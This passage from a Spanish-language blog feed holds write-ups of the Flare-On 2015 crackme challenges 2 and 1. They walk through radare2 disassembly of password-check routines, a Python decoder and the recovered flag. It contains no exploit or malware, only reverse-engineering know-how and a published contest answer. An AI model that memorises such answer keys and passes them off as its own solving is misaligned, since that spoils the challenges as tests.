 |`-&gt; 0x00401072      push str.You_are_failure ; 0x402147 ; &#34;You are failure\r\n&#34;
 `--&gt; 0x00401077      push dword [hFile] ; HANDLE hFile
      0x0040107a      call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
      0x00401080      mov  esp, ebp
      0x00401082      pop  ebp
      0x00401083      ret
</code></pre><p>Empezamos por un ajuste al ESP de 12, esto significa que probablemente la función anterior modifico el mismo stack. La siguiente instrucción evalúa EAX (probablemente el resultado de la función anterior), y realiza un jump si EAX es igual a 0, y sino, continua por el siguiente camino que hace un jump.</p>
<p>Como podemos ver por los strings identificados en la data, tenemos éxito y fracaso dependiendo del valor de EAX, mas importante aun, tenemos un push de este string conforme a lo que sea necesitado. Después subimos el valor de hFile y llamamos a WriteFile, función que conocemos por recibir una serie de parámetros conocidos.</p>
<p>Si aplicamos el movimiento al stack pointer de 12 (add esp, 0xc), estaríamos ajustando de manera interesante el stack, en donde ya no consideraríamos: dword [lpNumberOfBytesWritten], 0x402159, dword [var_10h]. En su lugar escribiríamos STR, hFile, quedando la pila de la siguiente manera:</p>
<table>
  <thead>
      <tr>
          <th>Ubicación</th>
          <th>Contenido</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP +16</td>
          <td>0</td>
      </tr>
      <tr>
          <td>ESP +12</td>
          <td>[EBP-0x4]</td>
      </tr>
      <tr>
          <td>ESP +8</td>
          <td>0x11</td>
      </tr>
      <tr>
          <td>ESP +4</td>
          <td>STR_WinOrLose</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>hFile</td>
      </tr>
  </tbody>
</table>
<p>Este patro lo conocemos pues son los argumentos que recibe la función WriteFile, por lo que básicamente escribiríamos &lsquo;Éxito&rsquo; o &lsquo;Fracaso&rsquo; dependiendo del resultado de EAX para seleccionar el string correcto.</p>
<p>Ya después del 5, tenemos una serie de pasos que seguimos hasta llegar al ret, donde ajustamos el stack.</p>
<h2 id="parte-2-valida-password">Parte 2. Valida Password</h2>
<p>Ahora que hemos terminado con <code>main</code>, analicemos <code>fcn.00401084</code>, que desde ahora renombraremos como <code>validaPassword</code>:</p>
<p><img src="/img/flareon2015-c2/r2-afl-validapassword.png" alt="Analyze Function Rename validaPassword"></p>
<p>Veamos el contenido de esta función:</p>
<p><img src="/img/flareon2015-c2/r2-pdf-validapassword.png" alt="PDF validaPassword"></p>
<p><img src="/img/flareon2015-c2/r2-VV-validapassword.png" alt="VV validaPassword"></p>
<pre tabindex="0"><code>┌ (fcn) validaPassword 91
│   validaPassword (LPDWORD arg_10h);
│           ; arg LPDWORD arg_10h @ ebp+0x10
│           ; CALL XREF from main (0x40105f)
│           0x00401084      55             push ebp
│           0x00401085      89e5           mov ebp, esp
│           0x00401087      83ec00         sub esp, 0
│           0x0040108a      57             push edi
│           0x0040108b      56             push esi
│           0x0040108c      31db           xor ebx, ebx
│           0x0040108e      b925000000     mov ecx, 0x25
│           0x00401093      394d10         cmp dword [arg_10h], ecx    ; [0x10:4]=-1 ; 16
│       ┌─&lt; 0x00401096      7c3f           jl 0x4010d7
│       │   0x00401098      8b750c         mov esi, dword [ebp + 0xc]  ; [0xc:4]=-1 ; 12
│       │   0x0040109b      8b7d08         mov edi, dword [ebp + 8]    ; [0x8:4]=-1 ; 8
│       │   0x0040109e      8d7c0fff       lea edi, [edi + ecx - 1]
│       │   ; CODE XREF from validaPassword (0x4010d3)
│      ┌──&gt; 0x004010a2      6689da         mov dx, bx
│      ╎│   0x004010a5      6683e203       and dx, 3
│      ╎│   0x004010a9      66b8c701       mov ax, 0x1c7               ; 455
│      ╎│   0x004010ad      50             push eax
│      ╎│   0x004010ae      9e             sahf
│      ╎│   0x004010af      ac             lodsb al, byte [esi]
│      ╎│   0x004010b0      9c             pushfd
│      ╎│   0x004010b1      32442404       xor al, byte [esp + 4]
│      ╎│   0x004010b5      86ca           xchg dl, cl
│      ╎│   0x004010b7      d2c4           rol ah, cl
│      ╎│   0x004010b9      9d             popfd
│      ╎│   0x004010ba      10e0           adc al, ah
│      ╎│   0x004010bc      86ca           xchg dl, cl
│      ╎│   0x004010be      31d2           xor edx, edx
│      ╎│   0x004010c0      25ff000000     and eax, 0xff
│      ╎│   0x004010c5      6601c3         add bx, ax
│      ╎│   0x004010c8      ae             scasb al, byte es:[edi]
│      ╎│   0x004010c9      660f45ca       cmovne cx, dx
│      ╎│   0x004010cd      58             pop eax
│     ┌───&lt; 0x004010ce      e307           jecxz 0x4010d7
│     │╎│   0x004010d0      83ef02         sub edi, 2
│     │└──&lt; 0x004010d3      e2cd           loop 0x4010a2
│     │┌──&lt; 0x004010d5      eb02           jmp 0x4010d9
│     │││   ; CODE XREFS from validaPassword (0x401096, 0x4010ce)
│     └─└─&gt; 0x004010d7      31c0           xor eax, eax
│      │    ; CODE XREF from validaPassword (0x4010d5)
│      └──&gt; 0x004010d9      5e             pop esi
│           0x004010da      5f             pop edi
│           0x004010db      89ec           mov esp, ebp
│           0x004010dd      5d             pop ebp
└           0x004010de      c3             ret
</code></pre><p>Como en la función anterior, partiremos esta función en partes para entender lo que sucede:</p>
<ol>
<li>Stack Frame + Análisis inicial</li>
</ol>
<pre tabindex="0"><code>┌ (fcn) validaPassword 91
│   validaPassword (LPDWORD arg_10h);
│           ; arg LPDWORD arg_10h @ ebp+0x10
│           ; CALL XREF from main (0x40105f)
│           0x00401084      55             push ebp
│           0x00401085      89e5           mov ebp, esp
│           0x00401087      83ec00         sub esp, 0
</code></pre><p>Tan pronto como iniciamos en la función establecemos un stack frame, eso es lo normal y esperado. Pero esta función realiza algo interesante y es que al momento de mover el ESP (0x00401087), lo deja en el mismo lugar, lo cual implica que no tiene variables locales.</p>
<ol start="2">
<li>Inicializador y contador</li>
</ol>
<pre tabindex="0"><code>│           0x0040108a      57             push edi
│           0x0040108b      56             push esi
│           0x0040108c      31db           xor ebx, ebx
│           0x0040108e      b925000000     mov ecx, 0x25
│           0x00401093      394d10         cmp dword [arg_10h], ecx    ; [0x10:4]=-1 ; 16
│       ┌─&lt; 0x00401096      7c3f           jl 0x4010d7
</code></pre><p>Salvamos EDI y ESI (cuales valores sean al iniciar el programa), inicializamos EBX=0 y cargamos 0x25 en ECX. Le sigue un CMP que evalúa si lo encontrado en EBP+0x10 es igual a 0x25, recordemos que CMP no es mas que una resta sin guardar el resultado, solo sirve para activar las flags. La siguiente instrucción compara el resultado de CMP, evaluado si el valor de arg_10h (EBP+0x10) es menor a 0x25.</p>
<p>¿Pero que es EBP+0x10? Pues se trata de algo declarado ubicaciones hacia atrás en el stack, porque en este momento EBP=ESP.</p>
<p>En el stack si nos vamos hacia atrás tenemos:</p>
<table>
  <thead>
      <tr>
          <th>Ubicación</th>
          <th>Contenido</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>EBP +16</td>
          <td>dword [lpNumberOfBytesWritten]</td>
      </tr>
      <tr>
          <td>EBP +12</td>
          <td>0x402159</td>
      </tr>
      <tr>
          <td>EBP +8</td>
          <td>dword [var_10h]</td>
      </tr>
      <tr>
          <td>EBP +4</td>
          <td>0x00401064</td>
      </tr>
      <tr>
          <td>EBP</td>
          <td>EBP main</td>
      </tr>
  </tbody>
</table>
<p>Entonces el valor de EBP+0x10 es la cantidad de Bytes ingresados en el WriteFile anterior. Esto significa que básicamente estaríamos evaluando si ingresamos mas de 0x25 (37) caracteres para evadir el jump.</p>
<ol start="3">
<li>Load input</li>
</ol>
<pre tabindex="0"><code>│       ┌─&lt; 0x00401096      7c3f           jl 0x4010d7
│       │   0x00401098      8b750c         mov esi, dword [ebp + 0xc]  ; [0xc:4]=-1 ; 12
│       │   0x0040109b      8b7d08         mov edi, dword [ebp + 8]    ; [0x8:4]=-1 ; 8
│       │   0x0040109e      8d7c0fff       lea edi, [edi + ecx - 1]
</code></pre><p>En el siguiente bloque, tras un false en el jump, hacemos referencia a ebp+12 para cargar el contenido de esa dirección en ESI, equivalente a 0x402159. Luego cargamos el contenido en EBP+8, equivalente a VAR_10h de main o lo que es igual a EBP-0x10 de main.</p>
<p>Este valor es bastante curioso, si nos ponemos a revisar el código al inicio de main, la primera instrucción es un &lsquo;POP EAX&rsquo; y la consecutiva donde se usa EAX, &lsquo;MOV EBP-0x10, EAX&rsquo;, por lo que primero guardamos el valor inmediato del stack (ESP) y en la siguiente instrucción guardamos en esa dirección del stack (EBP-0x10) el valor de EAX, la siguiente dirección que se ejecutaría después de llamar a main, es decir, 0x004010e4. Si recordamos, en el entry0 teníamos directamente el call a main, y después unas instrucciones poco habituales, pero esto como veremos mas adelante, no se trata de instrucciones, sino de data.</p>
<p>La ultima instrucción, carga en EDI la dirección de ECX (0x25 al inicio) menos uno, es decir, 0x24 mas la dirección 0x004010e4, resultando en 0x00401108.</p>
<ol start="4">
<li>XOR input password</li>
</ol>
<pre tabindex="0"><code>│       │   ; CODE XREF from validaPassword (0x4010d3)
│      ┌──&gt; 0x004010a2      6689da         mov dx, bx
│      ╎│   0x004010a5      6683e203       and dx, 3
│      ╎│   0x004010a9      66b8c701       mov ax, 0x1c7               ; 455
│      ╎│   0x004010ad      50             push eax
│      ╎│   0x004010ae      9e             sahf
│      ╎│   0x004010af      ac             lodsb al, byte [esi]
│      ╎│   0x004010b0      9c             pushfd
│      ╎│   0x004010b1      32442404       xor al, byte [esp + 4]
</code></pre><p>Las primeras dos instrucciones, cargan el contenido de BX y lo filtran a 2 bits, es decir, los valores posibles de DX serian 0,1,2,3.</p>
<p>La 3ra instrucción, carga 0x01c7 en AX y la 4ta lo sube al stack como 0x000001c7.</p>
<p>La 5ta instrucción, &lsquo;sahf&rsquo;, carga AH en los registros EFLAGS, por lo que al subir 0x01 solo el registro CF se ve encendido.</p>
<p>La 6ta instrucción carga el contenido del tamaño de un byte de la dirección en ESI en AL (veremos mas adelante que se trata de la letra en turno).</p>
<p>La 7ma instrucción carga el contenido de EFLAGS en el stack.</p>
<p>La 8va instrucción ejecuta un XOR de ESP+4, es decir, de 0xc7 porque acabamos de subir el contenido de EFLAGS, y del valor o la primera letra ingresada en password que guardamos en 0x402159.</p>
<ol start="5">
<li>Pseudorandom Shift</li>
</ol>
<pre tabindex="0"><code>│      ╎│   0x004010b5      86ca           xchg dl, cl
│      ╎│   0x004010b7      d2c4           rol ah, cl
│      ╎│   0x004010b9      9d             popfd
│      ╎│   0x004010ba      10e0           adc al, ah
│      ╎│   0x004010bc      86ca           xchg dl, cl
</code></pre><p>1ra instrucción: intercambiamos el valor en DL con CL, de manera que ahora CL vale BL&amp;3 y DL vale el numero de bytes ingresados.
2da instrucción: Realiza un shift a la izquierda de AH (0x01) la cantidad ubicada en CL (BL&amp;3). CL puede ir de 0 a 3 en sus valores.</p>
<p>La siguiente instrucción (3ra) baja el ultimo valor en el stack (los registros EFLAGS) hacia EFLAGS, regresando consigo lo ultimo que se llego a modificar vía 0x01 (CF=1).</p>
<p>La 4ta instrucción, suma AL + AH + CF y lo almacena en AL. Como sabemos, AL tiene el valor de la letra actual, AH tiene un shift a la izquierda denotado por BL&amp;3 y el CF es igual a 1.</p>
<p>La 5ta instrucción intercambia de nuevo DL y CL, por lo que ahora CL vale el contador de numero de bytes ingresados (mayor igual a 37) y DL el valor de BL&amp;3, ya que no se modificaron estos valores y solo trabajamos sobre EAX.</p>
<ol start="6">
<li>Compara contra data local</li>
</ol>
<pre tabindex="0"><code>│      ╎│   0x004010be      31d2           xor edx, edx
│      ╎│   0x004010c0      25ff000000     and eax, 0xff
│      ╎│   0x004010c5      6601c3         add bx, ax
│      ╎│   0x004010c8      ae             scasb al, byte es:[edi]
│      ╎│   0x004010c9      660f45ca       cmovne cx, dx
│      ╎│   0x004010cd      58             pop eax
</code></pre><p>1ra instrucción, limpia EDX que antes valía BL&amp;3, ahora vale 0.
2da instrucción, filtra EAX via AND y nada mas deja a EAX con el valor de AL.
3ra instrucción, suma BX (antes valia 0) y AX (letra actual).</p>
<p>4ta instrucción, compara si el 1er byte de EDI (dirección 0x004010e4 + lpNumberOfBytesWritten -1) es igual a AL (después del XOR, Shift y suma con AH+1). Si son iguales, incrementa EDI (siguiente letra) y decrementa ECX (siguiente valor a comprar).</p>
<p>5ta instrucción, si la instrucción anterior modifico a ZF=0, mueve DX (0x0) en CX.</p>
<p>6ta instrucción, guarda el ultimo elemento ingresado en el stack en EAX, en este caso 0x01c7.</p>
<ol start="7">
<li>Win or Lose</li>
</ol>
<pre tabindex="0"><code>│     ┌───&lt; 0x004010ce      e307           jecxz 0x4010d7
│     │╎│   0x004010d0      83ef02         sub edi, 2
│     │└──&lt; 0x004010d3      e2cd           loop 0x4010a2
│     │┌──&lt; 0x004010d5      eb02           jmp 0x4010d9
│     │││   ; CODE XREFS from validaPassword (0x401096, 0x4010ce)
│     └─└─&gt; 0x004010d7      31c0           xor eax, eax
│      │    ; CODE XREF from validaPassword (0x4010d5)
│      └──&gt; 0x004010d9      5e             pop esi
│           0x004010da      5f             pop edi
│           0x004010db      89ec           mov esp, ebp
│           0x004010dd      5d             pop ebp
└           0x004010de      c3             ret
</code></pre><p>En el ultimo bloque, 1ra instrucción, brincamos si CX es igual a 0 a la instrucción que nos haria igual a 0 EAX (mensaje de FAIL en main), pero si ECX es diferente de 0, restamos 2 a la direccion en EDI y ejecutamos un loop a 0x4010a2, regresando al inicio.</p>
<p>Este loop se rompe cuando ECX = 1, porque loop va decrementando en -1 a ECX. Cuando ECX se hace 0 por loop, se brinca a la salida de la función sin modificar EAX, lo que nos da el win en main.</p>
<h2 id="solver-decoder">Solver, decoder</h2>
<p>Ahora que hemos analizado por completo la función validaPassword, tenemos en mano una idea mas detallada de como cada valor ingresado es evaluado y como podemos llegar hasta el mensaje de WIN.</p>
<p>Lo primero es extraer el contenido el buffer &ldquo;oculto&rdquo;:</p>
<pre tabindex="0"><code>[0x00401000]&gt; px 37 @ 0x004010e4
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004010e4  afaa adeb aeaa eca4 baaf aeaa 8ac0 a7b0  ................
0x004010f4  bc9a baa5 a5ba afb8 9db8 f9ae 9dab b4bc  ................
0x00401104  b6b3 909a a8                             .....
[0x00401000]&gt; pcp 37 @ 0x004010e4
import struct
buf = struct.pack (&#34;37B&#34;, *[
0xaf,0xaa,0xad,0xeb,0xae,0xaa,0xec,0xa4,0xba,0xaf,0xae,
0xaa,0x8a,0xc0,0xa7,0xb0,0xbc,0x9a,0xba,0xa5,0xa5,0xba,
0xaf,0xb8,0x9d,0xb8,0xf9,0xae,0x9d,0xab,0xb4,0xbc,0xb6,
0xb3,0x90,0x9a,0xa8])
</code></pre><blockquote>
<p>Por conveniencia, usaremos python3 para resolver este reto.</p>
</blockquote>
<p>Este buffer invierte el orden, por lo que empezamos desde el ultimo hasta el primero (<code>buf[::-1]</code>).</p>
<p>Si seguimos el orden inverso de las instrucciones, lo primero seria la parte de ADC, en donde guardamos en AL el valor de AL+AH+1, ya que EDI es comparado contra AL. Así que:</p>
<blockquote>
<p>EDI = AL_preADC + AH + 1
EDI -AH -1 = AL_preADC</p>
</blockquote>
<p>Pero AL_preADC se encuentra protegida por el XOR de 0xc7, por lo que si:</p>
<blockquote>
<p>AL_preADC = AL_original ^ 0xc7,</p>
</blockquote>
<p>Entonces:</p>
<blockquote>
<p>(EDI - AH - 1) ^ 0xc7 = AL_original</p>
</blockquote>
<p>Ahora debemos despejar AH para poder realizar la ecuación <code>xD</code>.</p>
<blockquote>
<p>AH = shiftl(AH_preShift, CL)</p>
</blockquote>
<p>Si recordamos antes de eso, AH_preShift era 0x01, por lo que:</p>
<blockquote>
<p>AH = shiftl(1, CL)</p>
</blockquote>
<p>Entonces, CL se había cambiado con DL, y DL valía BL&amp;3.</p>
<p>BL es una variable muy interesante, porque en al inicio de la primera iteración BX=0, pero al final de la primera iteración BX=BX+AX. Esto significa que con cada iteración de letra, BX sera la suma de todas las anteriores a esa.</p>
<p>A este valor suma, le vamos a aplicar un AND contra 3 para unicamente tomar los primeros 2 bits, por lo que el shift puede ser hasta 3 ubicaciones.</p>
<p>El valor de AH entonces, puede ser de 1,2,4,8. Dicho de otra manera: 0x0001, 0x0010, 0x0100, 0x1000.</p>
<p>Una representación de lo anterior en python3 seria lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> struct
</span></span><span style="display:flex;"><span>buf <span style="color:#f92672">=</span> struct<span style="color:#f92672">.</span>pack (<span style="color:#e6db74">&#34;37B&#34;</span>, <span style="color:#f92672">*</span>[
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xaf</span>,<span style="color:#ae81ff">0xaa</span>,<span style="color:#ae81ff">0xad</span>,<span style="color:#ae81ff">0xeb</span>,<span style="color:#ae81ff">0xae</span>,<span style="color:#ae81ff">0xaa</span>,<span style="color:#ae81ff">0xec</span>,<span style="color:#ae81ff">0xa4</span>,<span style="color:#ae81ff">0xba</span>,<span style="color:#ae81ff">0xaf</span>,<span style="color:#ae81ff">0xae</span>,
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xaa</span>,<span style="color:#ae81ff">0x8a</span>,<span style="color:#ae81ff">0xc0</span>,<span style="color:#ae81ff">0xa7</span>,<span style="color:#ae81ff">0xb0</span>,<span style="color:#ae81ff">0xbc</span>,<span style="color:#ae81ff">0x9a</span>,<span style="color:#ae81ff">0xba</span>,<span style="color:#ae81ff">0xa5</span>,<span style="color:#ae81ff">0xa5</span>,<span style="color:#ae81ff">0xba</span>,
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xaf</span>,<span style="color:#ae81ff">0xb8</span>,<span style="color:#ae81ff">0x9d</span>,<span style="color:#ae81ff">0xb8</span>,<span style="color:#ae81ff">0xf9</span>,<span style="color:#ae81ff">0xae</span>,<span style="color:#ae81ff">0x9d</span>,<span style="color:#ae81ff">0xab</span>,<span style="color:#ae81ff">0xb4</span>,<span style="color:#ae81ff">0xbc</span>,<span style="color:#ae81ff">0xb6</span>,
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xb3</span>,<span style="color:#ae81ff">0x90</span>,<span style="color:#ae81ff">0x9a</span>,<span style="color:#ae81ff">0xa8</span>])
</span></span><span style="display:flex;"><span>buf <span style="color:#f92672">=</span> buf[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>shift <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>l_acomulada <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> d <span style="color:#f92672">in</span> range(len(buf)):
</span></span><span style="display:flex;"><span>    l <span style="color:#f92672">=</span> (buf[d] <span style="color:#f92672">-</span> ((<span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;&lt;</span> shift) <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">0xff</span>) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">^</span> <span style="color:#ae81ff">0xc7</span>
</span></span><span style="display:flex;"><span>    flag <span style="color:#f92672">+=</span> chr(l)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    l_acomulada <span style="color:#f92672">+=</span> buf[d]
</span></span><span style="display:flex;"><span>    shift <span style="color:#f92672">=</span> l_acomulada <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(flag)
</span></span></code></pre></div><p>Tras ejecutar el código, la flag aparecerá ante nosotros:</p>
<pre tabindex="0"><code>xbytemx@laptop:~/flare-on2015/2$ python3 decode.py
a_Little_b1t_harder_plez@flare-on.com
</code></pre><p>Validamos ingresando esta flag en el binario:</p>
<p><img src="/img/flareon2015-c2/flag.png" alt="flag"></p>
<p>Con esto, hemos resuelto el segundo reto del Flare-On 2015.</p>
<p><strong>flag: <a href="mailto:a_Little_b1t_harder_plez@flare-on.com">a_Little_b1t_harder_plez@flare-on.com</a></strong></p>
<hr>
<p>Espero que te haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Flare-on 2015 - Challenge 01</title><link>https://www.xbyte.mx/posts/flareon2015_-_challenge01/</link><pubDate>Mon, 01 Jul 2019 22:25:36 -0500</pubDate><guid>https://www.xbyte.mx/posts/flareon2015_-_challenge01/</guid><description>&lt;p&gt;Iniciamos con mas retos de Flare-On, ya que ya esta muy cerca. Ahora comenzaremos por los retos de 2 en 2 de cada año hasta terminar lo mas posibles.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Iniciamos con mas retos de Flare-On, ya que ya esta muy cerca. Ahora comenzaremos por los retos de 2 en 2 de cada año hasta terminar lo mas posibles.</p>
<p>Comenzamos por descargar el <a href="http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip">zip</a> que contiene todos los challenges, para posteriormente ir a cada challenge y resolverlos.</p>
<p>Bien, después de descargar el archivo general y descomprimirlo, debemos tener en nuestra carpeta un archivo llamando <code>Flare-On_start_2015.exe</code>, en la carpeta <code>1</code>, el cual posteriormente lo pasamos por file y nos indica vía headers que se trata de un &lsquo;PE32+ ejecutable con GUI x86_64&rsquo;, por lo que probamos a ejecutarlo en un sandbox, ahí veremos que se trata de Microsoft Cabinet, que nos hace aceptar un EULA de Fireeye, por lo que extraemos su contenido usando <code>cabextract</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2015/1/$ cabextract Flare-On_start_2015.exe
</span></span><span style="display:flex;"><span>Extracting cabinet: Flare-On_start_2015.exe
</span></span><span style="display:flex;"><span>  extracting i_am_happy_you_are_to_playing_the_flareon_challenge.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>All <span style="color:#66d9ef">done</span>, no errors.
</span></span></code></pre></div><p>Nos despliega en pantalla que ha extraído correctamente &ldquo;i_am_happy_you_are_to_playing_the_flareon_challenge.exe&rdquo;, el cual nuevamente lo pasamos por <code>file</code>:</p>
<pre tabindex="0"><code>xbytemx@laptop:~/flare-on2015/1$ file i_am_happy_you_are_to_playing_the_flareon_challenge.exe
i_am_happy_you_are_to_playing_the_flareon_challenge.exe: PE32 executable (console) Intel 80386, for MS Windows
</code></pre><p>El comando <code>file</code> nos indica que se trata de un PE32 ejecutable para consola, por lo que lo analizamos con DIE en busca de más información:</p>
<pre tabindex="0"><code>xbytemx@laptop:~/flare-on2015/1$ ~/tools/die_lin64_portable/diec.sh i_am_happy_you_are_to_playing_the_flareon_challenge.exe
PE: linker: unknown(8.0)[EXE32,console]
</code></pre><p>Revisando mas información con <strong><code>PEbear</code></strong> podremos ver que el binario tiene 2 secciones y que únicamente importa una biblioteca (kernel32.dll) con 8 funciones.</p>
<p><img src="/img/flareon2015-c1/sections.png" alt="sections"></p>
<p><img src="/img/flareon2015-c1/imports.png" alt="imports"></p>
<p>Carguemos este binario en radare2 para su análisis estático:</p>
<p><img src="/img/flareon2015-c1/r2-afl.png" alt="Load and Functions"></p>
<p>Como podemos ver, el binario no cuenta con funciones después o antes del entrypoint, por lo que analicemos que sucede después del entry.</p>
<pre tabindex="0"><code>[0x00401000]&gt; pdf
            ;-- section..text:
            ;-- eip:
┌ (fcn) entry0 149
│   entry0 ();
│           ; var int32_t var_10h @ ebp-0x10
│           ; var HANDLE var_ch @ ebp-0xc
│           ; var HANDLE hFile @ ebp-0x8
│           ; var LPDWORD lpNumberOfBytesWritten @ ebp-0x4
│           0x00401000      55             push ebp                    ; [00] -rwx section size 4096 named .text
│           0x00401001      89e5           mov ebp, esp
│           0x00401003      83ec10         sub esp, 0x10
│           0x00401006      8945f0         mov dword [var_10h], eax
│           0x00401009      6af6           push 0xfffffffffffffff6     ; DWORD nStdHandle
│           0x0040100b      ff1558204000   call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
│           0x00401011      8945f4         mov dword [var_ch], eax
│           0x00401014      6af5           push 0xfffffffffffffff5     ; DWORD nStdHandle
│           0x00401016      ff1558204000   call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
│           0x0040101c      8945f8         mov dword [hFile], eax
│           0x0040101f      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
│           0x00401021      8d45fc         lea eax, [lpNumberOfBytesWritten]
│           0x00401024      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
│           0x00401025      6a2a           push 0x2a                   ; &#39;*&#39; ; 42 ; DWORD nNumberOfBytesToWrite
│           0x00401027      68f2204000     push str.Let_s_start_out_easy____Enter_the_password ; 0x4020f2 ; &#34;Let&#39;s start out easy\r\nEnter the password&gt;&#34; ; LPCVOID lpBuffer
│           0x0040102c      ff75f8         push dword [hFile]          ; HANDLE hFile
│           0x0040102f      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
│           0x00401035      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
│           0x00401037      8d45fc         lea eax, [lpNumberOfBytesWritten]
│           0x0040103a      50             push eax                    ; LPDWORD lpNumberOfBytesRead
│           0x0040103b      6a32           push 0x32                   ; &#39;2&#39; ; 50 ; DWORD nNumberOfBytesToRead
│           0x0040103d      6858214000     push 0x402158               ; &#39;X!@&#39; ; LPVOID lpBuffer
│           0x00401042      ff75f4         push dword [var_ch]         ; HANDLE hFile
│           0x00401045      ff1568204000   call dword [sym.imp.kernel32.dll_ReadFile] ; 0x402068 ; BOOL ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
│           0x0040104b      31c9           xor ecx, ecx
│           ; CODE XREF from entry0 (0x401061)
│       ┌─&gt; 0x0040104d      8a8158214000   mov al, byte [ecx + 0x402158] ; [0x402158:1]=0
│       ╎   0x00401053      347d           xor al, 0x7d
│       ╎   0x00401055      3a8140214000   cmp al, byte [ecx + 0x402140] ; [0x402140:1]=31
│      ┌──&lt; 0x0040105b      751e           jne 0x40107b
│      │╎   0x0040105d      41             inc ecx
│      │╎   0x0040105e      83f918         cmp ecx, 0x18               ; 24
│      │└─&lt; 0x00401061      7cea           jl 0x40104d
│      │    0x00401063      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
│      │    0x00401065      8d45fc         lea eax, [lpNumberOfBytesWritten]
│      │    0x00401068      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
│      │    0x00401069      6a12           push 0x12                   ; 18 ; DWORD nNumberOfBytesToWrite
│      │    0x0040106b      681c214000     push str.You_are_success    ; 0x40211c ; &#34;You are success\r\n&#34; ; LPCVOID lpBuffer
│      │    0x00401070      ff75f8         push dword [hFile]          ; HANDLE hFile
│      │    0x00401073      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
│      │┌─&lt; 0x00401079      eb16           jmp 0x401091
│      ││   ; CODE XREF from entry0 (0x40105b)
│      └──&gt; 0x0040107b      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
│       │   0x0040107d      8d45fc         lea eax, [lpNumberOfBytesWritten]
│       │   0x00401080      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
│       │   0x00401081      6a12           push 0x12                   ; 18 ; DWORD nNumberOfBytesToWrite
│       │   0x00401083      682e214000     push str.You_are_failure    ; 0x40212e ; &#34;You are failure\r\n&#34; ; LPCVOID lpBuffer
│       │   0x00401088      ff75f8         push dword [hFile]          ; HANDLE hFile
│       │   0x0040108b      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
│       │   ; CODE XREF from entry0 (0x401079)
│       └─&gt; 0x00401091      89ec           mov esp, ebp
│           0x00401093      5d             pop ebp
└           0x00401094      c3             ret
</code></pre><p>Podemos ver que radare2 identifico acertadamente algunas funciones con sus respectivos parámetros, así como el análisis de sus argumentos.</p>
<p>Analicemos lo que sucede después del stack frame para esta función:</p>
<pre tabindex="0"><code>0x00401006      8945f0         mov dword [var_10h], eax
0x00401009      6af6           push 0xfffffffffffffff6     ; DWORD nStdHandle
0x0040100b      ff1558204000   call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
